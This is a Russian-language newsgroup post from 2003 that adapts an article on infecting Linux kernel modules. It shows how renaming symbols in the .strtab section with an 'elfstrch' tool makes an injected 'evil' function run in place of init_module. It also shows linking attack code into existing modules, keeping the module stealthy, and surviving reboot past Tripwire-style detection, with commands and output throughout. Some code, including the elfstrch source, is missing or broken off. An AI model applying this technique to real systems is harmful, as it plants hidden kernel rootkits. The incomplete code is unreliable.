From: leePetitPrinces <lepetitprinces@inbox.ru>
Newsgroups: email
Date: Mon, 28 Dec 2003 14:31:37 +0000 (UTC)
Subject: Метод инфицирования системных модулей ядра Linux
---[ Intro ]---
Данный материал не является чем-то новым. Но он является новым для автора и
ему хочеться поделиться этим с другими. Ему так же интересны ваши отзывы, так
как автор является новичком в подобных вещах и он готов выслушать разумные и
адекватные коментари.
В статье использовались материалы сайта http://www.phrack.org.
Есть вопросы? Тогда вам сюда: lepetitprinces@inbox.ru
URL http://zaya.spb.ru/infect_lkm.txt
---[ 0. Содержание ]---
1. Введение
2. Основы ELF формата
2.1 .symtab секция
2.2 .strtab секция
3. Игра с LKM
3.1 Загрузка модуля
3.2 Изменение .strtab
3.3 Инъекция кода
3.4 Сохранение невидимости
4. Заключение
5. Исходный код elfstrch
6. Ссылки
---[ 1. Вступление ]---
В течении нескольких лет свет увидел множество руткитов использующих возможность
загрузки модулей ядра (LKM). Это панацея? Не совсем, LKM повсеместно используется
потому, что это действительно мощно: вы можете прятать файлы, процессы и другие
полезные вещи ;) Первый руткит использующий LKM мог быть легко выявлен, потому,
что он выводился по команде lsmod. Но время не стоит на месте и было придумано
множество техник для сокрытия загруженного модуля, таких как описаны в докладе
Plaguez'а [1] или более изощренного используемого в Adore Rootkit[2]. Несколько
лет спустя был предложен метод основанный на изменении образа памяти ядра
использую /dev/kmem [3]. И наконец, техника статического патча ядра [4]. Все они
решают одну общую проблему: руткит должен быт загружен после перезагрузки системы.
Основная идея данной статьи - это показать новую технологию сокрытия LKM и
обеспечить ему загрузку при старте системы. Мы рассмотрим как это сделать методом
заражения модулей ядра используемых системой. Данная статья рассматривает ядро
Linux-2.4.х для x86, но эта же технология может быть применена и на других
операционных системах, которые используют ELF формат. Некоторые знания
относительного этого формата необходимы для понимания данной техники. По этому
вначале мы немного изучим этот формат, в частности систему именования в ELF
объектных файлах. Затем мы изучим механизм по которому загружаются модули ядра.
И в конце-концов мы посмотрим как внедрить произвольны код в модуль, не повредив
его и сохранив исходную функциональность.
---[ 2. Основы ELF формата ]---
Executable and Linking Format (ELF) - это формат выполняемого файла
используемого в операционной системе Linux. Мы поковыряемся в той части этого
формата, что необходима нам для понимания техники и что будет использовано
далее. Когда линкуются два ELF объекта, линковщику необходимо знать некоторую
информацию относительно связи символов в каждом объекте. Каждый ELF объект
(LKM например) содержит две секции, цель которых хранение информационных
структур описывающих символы ELF объекта. Давайте рассмотрим их.
---[ 2.1 .symtab секция ]---
Данная секция представляет из себя таблицу содержащую структуры данных необходимые
линковщику для работы с символами содержащимися в ELF файле. Эти структуры
описаны в файле /usr/include/elf.h
/* Symbol table entry. */
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
Нас интересует только поле st_name, что представляет из себя индекс в .strtab
секции, в которой сохранено имя символа.
---[ 3.1 .strtab секция ]---
Этот раздел представляет из себя таблицу строк заканчивающих нулем (стандартные
С строки, потому что микропроцессор PDP-7, на котором разрабатывались UNIX и C,
имел такой строковый тип ASCIZ. ASCIZ означало "ASCII с нулём (zero) на
конце"). Как мы видели выше, поле st_name структуры Elf32_Sym структуры - это
индекс в .strtab, благодаря чему мы можем получить смещение строки содержащей
имя символа по следующей формуле.
offset_sym_name = offset_strtab + st_name
offset_strtab - это смещение .strtab секции относительно начала файла. Это все
вычисляется механизмом резолвинга имен секций, что не будет тут описано - так
как это не самое интересно из того, что касается рассматриваемого вопроса.
(Реализация может быть изучена в разделе 5)
Мы можем сделать вывод, что имя символа может быть легко найдено и изменено в
ELF объекте. На самом деле, это не совсем так, нам надо учитывать одно
обстоятельство, что изменение имени на большее (по длине) сдвинет все
остальные имена в файле, что потребует изменение всей таблицы .symtab. Потому
новое имя не должно первышать исходное.
---[ 3.1 Загрузка модулей ]---
Модули ядра загружаются программой insmod, которая является частью пакета
modutils. Интересующий нас код находиться в функции init_module() файла
insmod.c
static int init_module(const char *m_name, struct obj_file *f,
unsigned long m_size, const char *blob_name,
unsigned int noload, unsigned int flag_load_map)
{
(1) struct module *module;
struct obj_section *sec;
void *image;
int ret = 0;
tgt_long m_addr;
if (ret == 0 && !noload) {
fflush(stdout); /* Flush any debugging output */
(4) ret = sys_init_module(m_name, (struct module *) image);
if (ret) {
error("init_module: %m");
lprintf(
"Hint: insmod errors can be caused by incorrect module parameters, "
"including invalid IO or IRQ parameters.n"
"You may find more information in syslog or the output from dmesg");
}
}
Данная функция использует (1) для размещении структуры module, которая
содержит данные необходимы для загрузки модуля. Нас интересуют поля
init_module и cleanup_module, которые являются указателями на соответствующие
функции init_module() и cleanup_module() загружаемого модуля. Функция
obj_find_symbol() (2) извлекает структуру посредством поиска имени init_module
в таблице символов. Извлеченная структура скармливается функции
obj_symbol_final_value(), которая извлекает адрес функции init_module.
Аналогичные операции проделываются и для cleanup_module() функции модуля
(для тех кто в танке, функции init_module() и cleanup_module выполняются при
загрузке модуля и при его выгрузке соответственно).
Когда структура module окончательно заполнена необходимыми данными вызывается
функция sys_init_module() (системный вызов на самом деле), которая загружает
модуль в ядро.
Ниже приведена интересующая нас часть системного вызова sys_init_module(),
который вызывается в процессе инициализации модуля (см. выше). Код этой
функции может быть найден в файле /usr/src/linux/kernel/module.c:
asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user)
{
struct module mod_tmp, *mod;
char *name, *n_name, *name_tmp = NULL;
long namelen, n_namelen, i, error;
unsigned long mod_user_size;
struct module_ref *dep;
/* Lots of sanity checks */
.....
/* Ok, that's about all the sanity we can stomach; copy the rest.*/
После некоторых логичных проверок, структура module копируется из
пользовательского пространства в пространство ядра вызовом copy_from_user()
(1). Затем выполняется функция init_module() (2) нашего модуля посредством
вызова mod->init().
---[ 3.2 Изменение .strtab ]---
Как мы видим выше, что адрес init функции модуля располагается в ядре на
основе данных секции строк .strtab. Изменение строки символа дает нам возможность
выполнить функцию отличную от init_module().
Имеется несколько путей изменения записей в .strtab секции. Например опция
-wrap программы ld, но она не совместима с опцией -r которая нам понадобиться
позже (раздел 3.3). Потому была написана небольшая программа, которая
занимается поставленной задачей (раздел 5).
int init_module(void)
{
printk ("Into init_module()n");
return 0;
}
int evil_module(void)
{
printk ("Into evil_module()n");
return 0;
}
int cleanup_module(void)
{
printk ("Into cleanup_module()n");
return 0;
}
$ gcc -I/usr/src/linux/include -c test.c
А теперь давайте посмотрим на .systab и .strtab секции нашего получившегося
файла:
$ objdump -t test.o
test.o: file format elf32-i386
SYMBOL TABLE:
00000000 l df *ABS* 00000000 test.c
00000000 l d .text 00000000
00000000 l d .data 00000000
00000000 l d .bss 00000000
00000000 l d .modinfo 00000000
00000000 l O .modinfo 00000020 __module_kernel_version
00000000 l d .rodata 00000000
00000000 l d .note.GNU-stack 00000000
00000000 l d .comment 00000000
00000000 g F .text 00000019 init_module
00000000 *UND* 00000000 printk
00000019 g F .text 00000019 evil_module
00000032 g F .text 00000019 cleanup_module
Мы изменим две записи секции .strtab для подмены символа init_module символом
evil_module. Но вначале переименуем символ init_module, так как два символа с
одинаковым названием недопустимы. Это будет выглядеть примерно так:
init_module => dumm_module
evil_module => init_module
$ ./elfstrch test.o init_module dumm_module
[+] Symbol init_module located at 0x458
[+] .strtab entry overwriten with dumm_module
[+] Symbol evil_module located at 0x46b
[+] .strtab entry overwriten with init_module
$ objdump -t test.o
test.o: file format elf32-i386
SYMBOL TABLE:
00000000 l df *ABS* 00000000 test.c
00000000 l d .text 00000000
00000000 l d .data 00000000
00000000 l d .bss 00000000
00000000 l d .modinfo 00000000
00000000 l O .modinfo 00000020 __module_kernel_version
00000000 l d .rodata 00000000
00000000 l d .note.GNU-stack 00000000
00000000 l d .comment 00000000
00000000 g F .text 00000019 dumm_module
00000000 *UND* 00000000 printk
00000019 g F .text 00000019 init_module
00000032 g F .text 00000019 cleanup_module
Не трудно заметить, что функции поменялись местами ;)
# insmod test.o
Warning: loading test.o will taint the kernel: no license
See http://www.tux.org/lkml/#export-tainted for information about tainted
modules
Module test loaded, with warnings
# dmesg | tail -n1
Into evil_module()
Ну вот, произошло что и следовало ожидать - evil_module() был выполнен в место
init_module().
---[ 3.3 Инъекция кода ]---
Представленная выше технология позволяет выполнить одну функцию заместо другой.
Но это не сильно интересно, намного полезнее научиться внедрять свой код в уже
созданные модули. Это может быть легко сделано с использованием превосходного
линковщика - ld:
Тут начинается самая важная часть. Внедрение кода не представляет большой
проблемы, так как модули ядра relocatable ELF объекты. Объекты данного типа
могут быть легко слинкованы вместе для предоставления символов и дополнения
друг друга. Однако, одно правило должно быть учтено: одно и тоже имя не может
присутствовать в двух модулях. Мы будем использовать ld с опцией -r для
создания объекта такой же природы из которых он создается (прямо высшие
материи пошли :) Это создаст модуль, который может быть загружен ядром.
SYMBOL TABLE:
00000000 l d .text 00000000
00000000 l d *ABS* 00000000
00000000 l d .rodata 00000000
00000000 l d .modinfo 00000000
00000000 l d .data 00000000
00000000 l d .bss 00000000
00000000 l d .comment 00000000
00000000 l d .note.GNU-stack 00000000
00000000 l d *ABS* 00000000
00000000 l d *ABS* 00000000
00000000 l d *ABS* 00000000
00000000 l df *ABS* 00000000 original.c
00000000 l O .modinfo 00000016 __module_kernel_version
00000000 l df *ABS* 00000000 inject.c
00000016 l O .modinfo 00000016 __module_kernel_version
00000019 g F .text 00000019 cleanup_module
00000000 g F .text 00000019 init_module
00000000 *UND* 00000000 printk
00000034 g F .text 00000019 inje_module
Функция inje_module успешно слинковалась в наш новый модуль. Теперь нам нужно
всего лишь изменить .strtab секцию, для подмены init_module нашей новой
функцией.
$ ./elfstrch evil.o init_module dumm_module
[+] Symbol init_module located at 0x564
[+] .strtab entry overwriten with dumm_module
$ ./elfstrch evil.o inje_module init_module
[+] Symbol inje_module located at 0x577
[+] .strtab entry overwriten with init_module
А теперь давайте проверим все это на действии ;)
# insmod evil.o
Warning: loading evil.o will taint the kernel: no license
See http://www.tux.org/lkml/#export-tainted for information about tainted
modules
Module evil loaded, with warnings
# dmesg |tail -n 1
Injected
---[ 3.4 Сохранение невидимости ]---
Так как инфицироваться будут в основном загружаемые модули, полезно сохранить
их прежнюю функциональность. Так как иначе наш инфицированый модуль будет
легко замечен. Для этого нужно выполнить вполне простую и очевидную вешь. В
нашем коде должны быть вызовы исходные функции init_module() и
cleanup_module(). Для этого подправим наш код:
После сих не хитрых телодвижений исходный модуль не теряет своей
функциональности, но помимо того, доставляет нам немало радости выполнением
внедренного кода ;)
---[ 4. Заключение ]---
У данного метода есть один недостаток. Если мы хотим сохранить модуль в памяти
после перезагрузки - мы дожны изменить системный модуль загружаемый при старте в
каталоге /lib/modules/. Но тогда хорошо настроенная HIDS (Host Intrusion Detection
System, like Tripwire) обнаружит его. С другой стороны модуль ядра не является
загружаемым (+x) и не является SUID'ным файлом, так что сохраняется большая
вероятность быть не замеченным. Вот так вот, товарисЧи сИс. админы, не прозевайте,
а то ваш mii.o может стать вашим злейшим врагом.
---[ 5. Исходный код elfstrch ]---
Данный код не выделяется ничем примечательным. Хочеться отметить, что для
полного его понимания неплохо бы знать как следует ELF формат. Изучить оный
можно по ссылке http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf.
/*
* Оригинальный автор:
* elfstrchange.c by truff <truff@projet7.org>
* Изменяет значение символьного имени в .strtab секции
*
* Использование: elfstrch elf_object sym_name sym_name_replaced
*
*/